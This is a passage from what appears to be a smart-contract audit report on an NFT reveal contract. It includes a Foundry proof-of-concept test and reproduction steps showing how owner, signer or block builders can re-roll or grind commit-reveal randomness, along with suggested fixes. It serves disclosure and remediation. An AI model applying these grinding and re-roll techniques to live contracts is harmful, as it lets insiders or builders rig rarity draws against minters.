Foundry test test/scratch/Proof_38175e1b80dd.t.sol (fails on the current code). State: startBlock 100, commit a0 (chain a2 -> a1 -> a0), one free random mint in epoch 0 (token 1), natural seed block 125. (1) roll to 425, settle([a1]): h == 0 -> EpochRearmed(0, 426, true), flag = 1. (2) roll to 426 + 7,201; owner pauses and calls setRevealCommit(b0, ...) with the signer's acceptance: cooldown passed, _rearm(0, false) -> epochSeedBlock(0) = block + 1 and the flag is 0. (3) roll +300, settle([b1]). Expected per `_seal` NatSpec and README 5/8.2 ('once per epoch', then the secret alone): EpochSealed(0, keccak(0, b1, 0, this), ...) and skinOf(1).revealed == true. Actual: EpochRearmed(0, block+1, true) again, nextRevealEpoch still epoch 0, token 1 unrevealed. Unbounded re-roll (judge's check test/scratch/Checks.t.sol test_unboundedReplacementRearms, passes on the current code = behaviour present): random mint in epoch 0; owner pauses; loop 5 times { roll(epochSeedBlock(0) + 7201); setRevealCommit(new chain, acceptance) succeeds; epochSeedBlock(0) == block + 1 }. Expected per 8.2: at most three options. Actual: five (any number) re-arms, the secret never published.

**Proof**: a Foundry test that fails on this code and passes once it is fixed.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.38;

import "forge-std/Test.sol";
import {EmberEvoGenesisCandidate} from "Submission2/contracts/EmberEvoGenesisCandidate.sol";
import {TestEmbeo} from "Submission2/contracts/testnet/TestEmbeo.sol";

/// Fails on the current code: after one expiry re-arm and a commitment replacement, a second expiry of the same epoch
/// re-arms again instead of sealing with the secret alone (README 8.2, _seal NatSpec: once per epoch).
/// Passes once the 'expired' flag survives a setRevealCommit re-arm.
contract ProofRearmFlag is Test {
    EmberEvoGenesisCandidate g;
    uint256 constant SIGNER_PK = 0xA11CE;
    address owner = address(0xBEEF);
    uint256 constant MINTER_PK = 0xB0B;
    address minter = vm.addr(MINTER_PK);
    bytes32 constant REVEAL_COMMIT_TYPEHASH = keccak256("RevealCommitAcceptance(bytes32 commit,uint256 signerEpoch,uint256 deadline)");
    bytes32 constant APPEARANCE_TYPEHASH = keccak256("Appearance(address wallet,bytes32 lookKey,uint8 choice,bytes32 uriHash,uint256 deadline,uint256 signerEpoch,bool paid)");

    function setUp() public {
        vm.roll(100);
        vm.warp(1_000_000);
        TestEmbeo t = new TestEmbeo(owner);
        g = new EmberEvoGenesisCandidate(owner, address(t), vm.addr(SIGNER_PK), 1e18, 1, "EEG");
        bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(minter))));
        vm.startPrank(owner);
        g.configureSnapshot(leaf, 1, block.timestamp, block.timestamp);
        g.setRevealURIs("ipfs://pending", "ipfs://base/", true);
        vm.stopPrank();
    }
    function sign(bytes32 structHash) internal view returns (bytes memory) {
        bytes32 dom = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
            keccak256("EmberEvoGenesisCandidate"), keccak256("7"), block.chainid, address(g)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_PK, keccak256(abi.encodePacked("\x19\x01", dom, structHash)));
        return abi.encodePacked(r, s, v);
    }
    function setCommit(bytes32 commit) internal {
        bytes memory acc = sign(keccak256(abi.encode(REVEAL_COMMIT_TYPEHASH, commit, g.signerEpoch(), block.timestamp + 1 days)));
        vm.prank(owner);
        g.setRevealCommit(commit, block.timestamp + 1 days, acc);
    }
    function hashOf(bytes32 v) internal pure returns (bytes32) { return keccak256(abi.encode(v)); }
    function one(bytes32 s) internal pure returns (bytes32[] memory a) { a = new bytes32[](1); a[0] = s; }

    function test_second_expiry_after_commit_replacement_seals_secret_only() public {
        bytes32 a2 = keccak256("A"); bytes32 a1 = hashOf(a2); bytes32 a0 = hashOf(a1);
        setCommit(a0);
        vm.prank(owner); g.setMintPaused(false);
        bytes32 lookKey = keccak256("look");
        uint256 deadline = block.timestamp + 1 hours;
        bytes memory sig = sign(keccak256(abi.encode(APPEARANCE_TYPEHASH, minter, lookKey, uint8(3), keccak256(""), deadline, g.signerEpoch(), false)));
        bytes32[] memory none;
        vm.prank(minter);
        g.mintFree(lookKey, 3, "", deadline, sig, none, none);
        (, uint256 e,) = g.nextRevealEpoch();

        // first expiry (256-block window without EIP-2935): the one re-arm this epoch is allowed
        vm.roll(g.epochSeedBlock(e) + 300);
        g.settle(one(a1));
        uint256 r1 = g.epochSeedBlock(e);
        assertEq(r1, vm.getBlockNumber() + 1);

        // commitment replacement after the cooldown (owner + signer acceptance)
        bytes32 b2 = keccak256("B"); bytes32 b1 = hashOf(b2); bytes32 b0 = hashOf(b1);
        vm.roll(r1 + g.REARM_COOLDOWN() + 1);
        vm.prank(owner); g.setMintPaused(true);
        setCommit(b0);
        uint256 r2 = g.epochSeedBlock(e);

        // second expiry of the same epoch: must seal with the secret alone, not re-arm again
        vm.roll(r2 + 300);
        g.settle(one(b1));
        (, bool revealed) = g.skinOf(1);
        assertTrue(revealed, "second expiry of the same epoch must seal with the secret alone");
        (bool exists,,) = g.nextRevealEpoch();
        assertFalse(exists);
    }
}
```

### 5. Low: _heldBefore stops one hash past the anchor: keccak^2(anchor) has a public preimage yet is accepted as the new reveal commitment, so an epoch can be sealed with a secret anyone can compute

`Submission2/contracts/EmberEvoGenesisCandidate.sol:280`

```
        for (uint256 i; i <= opened + 1; ++i) { if (v == c) return true; v = _hash(v); }
```

README property 6.5 and the setRevealCommit NatSpec (lines 246-247) promise that a value whose preimage is public can never become the commitment. `_onChain` walks v = last, keccak(last), ... for opened + 2 steps, i.e. x[k] .. x[0] and keccak(x[0]). But every keccak^m(x[0]) for m >= 2 also has a public preimage (keccak^(m-1)(x[0]) is computable from the public anchor) and none of them is refused. With commit = keccak^2(x0) the next secret is keccak(x0), then x0, then x1 .. x[k], all public: the first k + 2 epochs sealed on that chain use secrets every block builder knows, so the seed-block builder can grind the outcome without being the signer. This needs the owner plus the signer's acceptance (or a signer key the owner installed), the collusion case of README 8.2, but the package states the contract itself prevents it, and with a public secret any builder, not only the signer, can grind. Fix: either extend the walk by a fixed margin past the anchor (e.g. i <= opened + 1 + 64; verified: the specialist's test then passes) and document the refusal as a safeguard against operator error rather than a proof of freshness, or have the signer's RevealCommitAcceptance bind a fresh chain (sign keccak256(abi.encode(commit, chainLength)) over a chain the signer attests it generated) and reword 6.5 and 8.2 to 'a held value or one of the first N hashes above it'.

**Reproduction**

Foundry test .imd/reads/proofs/Proof_71ade2d09078.t.sol, run by the judge: fails on the current code ('next call did not revert as expected'). State: deployed contract, revealCommit = x0 (anchor of chain x2 -> x1 -> x0, chainSecrets = 0), minting paused. Input: owner calls setRevealCommit(keccak256(abi.encode(keccak256(abi.encode(x0)))), deadline, acceptance) with a valid signer acceptance. Expected (README 6.5, NatSpec lines 246-247): revert REVEAL_COMMIT_INVALID, as it does for x0 and for keccak(x0) (both checked in the test). Actual: accepted; revealCommit = keccak^2(x0). Then: open minting, one random mint in the current epoch, roll to epochSeedBlock + 1, and any address calls settle([keccak256(abi.encode(x0))]) using only public data: _seal passes (_hash(secret) == revealCommit), the epoch is sealed and token 1 revealed, and revealCommit becomes keccak(x0), whose preimage x0 is public too.

### 6. Low: After an expiry re-arm, a secret that was already handed out decides the epoch together with a block that did not yet exist: the builder of the re-arm block can grind the draw

`Submission2/contracts/EmberEvoGenesisCandidate.sol:568`

```
            if (!expiredBefore) { _rearm(e, true); return bytes32(0); }
```

The security argument (comment at lines 127-131, README 5) is that the producer of a seed block never knows the secret mixed with it. That holds for natural seed blocks but not for the re-armed one when two or more secrets were already handed out. The signer hands out one secret per ready epoch (readyReveals in offchain/signer/reveal-chain.mjs, up to 32); EXPIRY_MARGIN only limits what is handed out at the time of a request and cannot recall a secret handed out earlier (epoch 1's secret x2 is public from the moment epoch 1 is 2 blocks deep). If no one lands a settle for 8,191 blocks (keeper outage, stuck transactions), anyone submits x1: `_seal` finds h == 0, consumes x1 and re-arms epoch 0 to block X+1. The next secret x2, public for hours, is now the secret for epoch 0 under blockhash(X+1). Whoever builds block X+1 (the submitter times X and under PBS can bid for X+1) knows x2, e and the token ids and can choose among candidate blocks for a favourable draw; everyone else learns the outcome one block early. Impact is bounded to one epoch (<= 25 tokens) and needs a 27 h liveness failure, hence low. Fix options that keep the design: (a) have the signer hand out only the secret of the single next unsealed epoch until that epoch is sealed (a mint still settles several epochs, one per block of latency); (b) run the planned keeper with an alerting SLA well inside 8,191 blocks and state it as a security assumption; (c) say in README 8.2 that after an expiry the re-arm block's builder, not only the signer, can grind; (d) a VRF removes the issue.

**Reproduction**

Judge's test test/scratch/Checks.t.sol test_publishedSecretDecidesUnderLaterBlock (passes on the current code = behaviour present). State: random token in epoch 0 (seed block S0 = 125) and in epoch 1 (S1 = 150); by block S1 + 2 readyReveals returns [x1, x2] (both seed blocks 2 deep, far from the window edge). No settle until block S0 + 300 (local 256-block window; S0 + 8,192 on mainnet). settle([x1]) -> EpochRearmed(0, X+1, true) and epochSeedBlock(1) == X+1 as well. At block X+3 settle([x2]) -> EpochSealed(0, keccak(abi.encode(blockhash(X+1), x2, 0, this)), X+1, blockhash(X+1), x2). Expected (README 5 / comment line 130): the seed-block producer does not know the secret. Actual: x2 was public roughly 300 blocks (on mainnet about 8,000 blocks) before block X+1 was built.

### 7. Info: README 8.2 residual-trust statement is inaccurate: the secret-only outcome is signer-chosen, owner+signer re-rolls are unbounded, one expiry re-rolls every later ready epoch, and settlement liveness i

`Submission2/AUDIT_README.md:161`

```
   - **Withholding.** The signer can withhold a secret it does not like. After about 27 h the seed block expires and the epoch is re-armed (one fresh draw). If it withholds again, the next secret alone decides. That is at most three options per epoch, each costing about a day during which every chosen-skin mint reverts — visible, but not prevented.
```

Assessment of task item 3, merging the specialists' documentation points. Minter: a random token's epoch is fixed by its mint block; the epoch's seed block (natural or re-armed) is strictly in the future at mint time; chosen mints are frozen from the seed block on (except in the expiry re-arm block, see the low finding); reveal order is strict; the seed binds the token id. No minter input changes a draw, only the documented expected-value drift (8.9). Owner alone: setRevealCommit needs the current signer's acceptance and rotation needs the new key's acceptance, so the owner alone cannot re-arm or replace. Signer alone: not 'three options', as the bullet at this line says. (1) The third option (double expiry) is selectable at commit time (medium finding). (2) An expiry re-arm of epoch e sets rearmState = (B+1, e), and epochSeedBlock() then gives every later unsealed epoch whose natural seed block is earlier the seed block B+1 (line 391), while the expiry also shifts every later epoch's secret one step down the chain; so by timing one publication the signer chooses between two families of draws for each later ready epoch (verified: after the expiry re-arm of epoch 0, epochSeedBlock(1) == B+1). (3) Full control if it builds or buys the seed block (already stated). Owner+signer: 'holds the signer's powers' understates it: replacement re-arms every REARM_COOLDOWN are unbounded and the cooldown protects nothing when no secret was published (low finding), and a replacement inside a pending expiry re-arm skips the cooldown entirely (medium finding). Liveness: README 4 says a settle caller 'has no choice over the outcome'. Once x1 is public anyone can compute the outcome; if nobody settles for 8,191 blocks the first settle re-arms and discards it, so a holder of a published secret who dislikes the outcome can wait when the keeper of section 7 is down (any other party can still settle first). The keeper is therefore a security assumption, not a UX one; alert on an unsettled ready epoch older than a few hundred blocks. VRF: for 1,288 tokens with rarity-priced skins (48 gold), the signer-as-builder, withholding and secret-only paths are real, if visible, levers. If 'no one can steer' is to be a property rather than a trust statement, a VRF (one request per epoch, about 52 requests at 25 tokens per epoch) is cheaper than the keeper plus signer infrastructure and removes the expiry/re-arm logic. If commit-reveal stays, 8.2 should state the residual trust as above and the medium findings should land.

**Reproduction**

Concrete states contradicting the sentence at this line and the next: (a) test/scratch/SignerPreselectsSecretOnly.t.sol: the signer's third 'option' is the seed it computed before minting opened (gold on token 1 after 17 grind tries). (b) test/scratch/Checks.t.sol test_unboundedReplacementRearms: five replacement re-arms of epoch 0 with no secret ever published, so 'anyone can settle the published outcome first' had nothing to settle. (c) test/scratch/Checks.t.sol test_publishedSecretDecidesUnderLaterBlock: after settle([x1]) past the window, epochSeedBlock(1) == rearmBlock() (epoch 1 re-rolled by epoch 0's expiry, and its secret moves from x2 to x3). (d) Line 67 (section 4): with x1 public and nobody settling for 256 (local) / 8,191 blocks, settle([x1]) emits EpochRearmed instead of sealing the known outcome.

---

Judge's submission `c50b21a29dcdfee4dc8425fed0ed22ffe278326cd141e70fcc50ce3fe8bfe6ce`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
